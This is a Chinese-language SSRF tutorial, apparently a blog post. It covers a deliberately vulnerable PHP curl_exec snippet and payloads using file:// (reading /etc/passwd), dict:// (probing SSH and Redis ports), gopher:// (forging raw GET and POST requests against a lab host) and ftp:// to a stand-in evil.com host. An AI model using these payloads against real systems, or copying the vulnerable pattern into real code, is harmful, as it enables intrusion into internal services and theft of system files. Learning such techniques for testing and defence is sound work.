SSRF的利用协议
测试漏洞源代码:
1
2
3
4
5
$url = $_GET['url'];
$curlobj = curl_init($url);
echo curl_exec($curlobj);
file协议
file协议主要用于访问本地计算机中的文件。
协议格式:
1 | file://文件路径 |
读取本地文件
读取linux本地文件(?url=file:///etc/passwd)

读取Windows本地文件(?url=file://C://Windows//System32//drivers//etc//hosts)

dict协议
词典网络协议,在RFC 2009中进行描述。它的目标是超越Webster protocol,并允许客户端在使用过程中访问更多字典。Dict服务器和客户机使用TCP端口2628。
协议格式:
1 | dict://服务端ip:端口/命令:参数 |
端口服务探测
探测22端口是否开放与返回的banner信息(?url=dict://192.168.123.66:22)

探测6379端口是否开放与返回的banner信息(?url=dict:///192.168.123.66:6379/info)

gopher协议
Gopher是一个互联网上使用的分布型的文件搜集获取网络协议。Gopher最初的设计目标与万维网类似:共享文档,今天的万维网几乎已经替代了Gopher。但Gopher协议还提供了一些万维网先天缺乏的功能,比如在Gopher中所有信息都以层级形式存储,这被认为是存储大量信息的最好方式之一。
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
限制:gopher协议在各个编程语言中的使用限制

—wite-curlwrappers:运用curl工具打开url流
curl使用curl —version查看版本以及支持的协议
协议格式:
1 | dict://服务端ip:端口/_{TCP/IP数据流} |
开始的_字符可以由任意字符替代,数据流使用URL编码。
- gopher的默认端口是70
- 如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码
发送HTTP GET请求
首先我们了解一下curl发送gopher请求的过程:
主机A:nc启动监听
1 | nc -lp 2333 |
主机B:curl发送gopher请求
1 | curl gopher://192.168.123.66/_abc123 |

可以看到此时主机A收到的消息为abc123
那么如何发送HTTP的请求呢?例如GET请求。此时我们联想到,直接发送一个原始的HTTP包不就可以吗?在gopher协议中发送HTTP的数据,需要以下三步:
- 构造HTTP数据包
- URL编码、替换回车换行为%0d%0a
- 发送gopher协议
利用SSRF发送gopher协议请求
1 | http://hackrock.com/mylabs/ssrf/curl_exec.php?url=gopher://192.168.123.66:2333/_abc123 |
可以看到nc接收到了消息,没有问题。

我准备了一个PHP的代码,如下:
1 |
|
一个GET型的HTTP包,如下:
1 | GET /get.php?name=Ulysses |
URL编码后为:
1 | curl gopher://192.168.123.66:80/_GET%20/get.php%3fname=Ulysses%20HTTP/1.1%0d%0aHOST:%20192.168.123.66%0d%0a |

在URL编码中需要注意如下几点:
- 问号(?)需要转码为URL编码,也就是%3f
- 回车换行要变为%0d%0a,但如果直接用工具转换,可能只会有%0a
- 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
发送HTTP POST请求
post.php的代码如下:
1 |
|
发送POST请求前,先看下POST数据包的格式
1 | POST /post.php |
注:
Content-Type和Content-Length为查找POST请求中所需的字段,如果不叫则会报500错误
现在我们将它进行URL编码:
1 | curl gopher://192.168.123.66:80/_POST%20/post.php%20HTTP/1.1%0d%0aHOST:%20192.168.123.66%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%2012%0d%0a%0d%0aname=Ulysses%0d%0a |

ftp、sftp、tftp协议
FTP(File Transfer Protocol,文件传输协议) 是 TCP/IP 协议组中的协议之一。FTP 协议包括两个组成部分,其一为 FTP 服务器,其二为 FTP 客户端。其中 FTP 服务器用来存储文件,用户可以使用 FTP 客户端通过 FTP 协议访问位于 FTP 服务器上的资源。在开发网站的时候,通常利用 FTP 协议把网页或程序传到 Web 服务器上。此外,由于 FTP 传输效率非常高,在网络上传输大的文件时,一般也采用该协议。
Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。
TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。
1 | http://example.com/ssrf.php?url=ftp://evil.com:1337/ |
这里仅做简单介绍
ldap、ldaps、ldapi协议
LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。
1 | http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit |
这里仅做简单介绍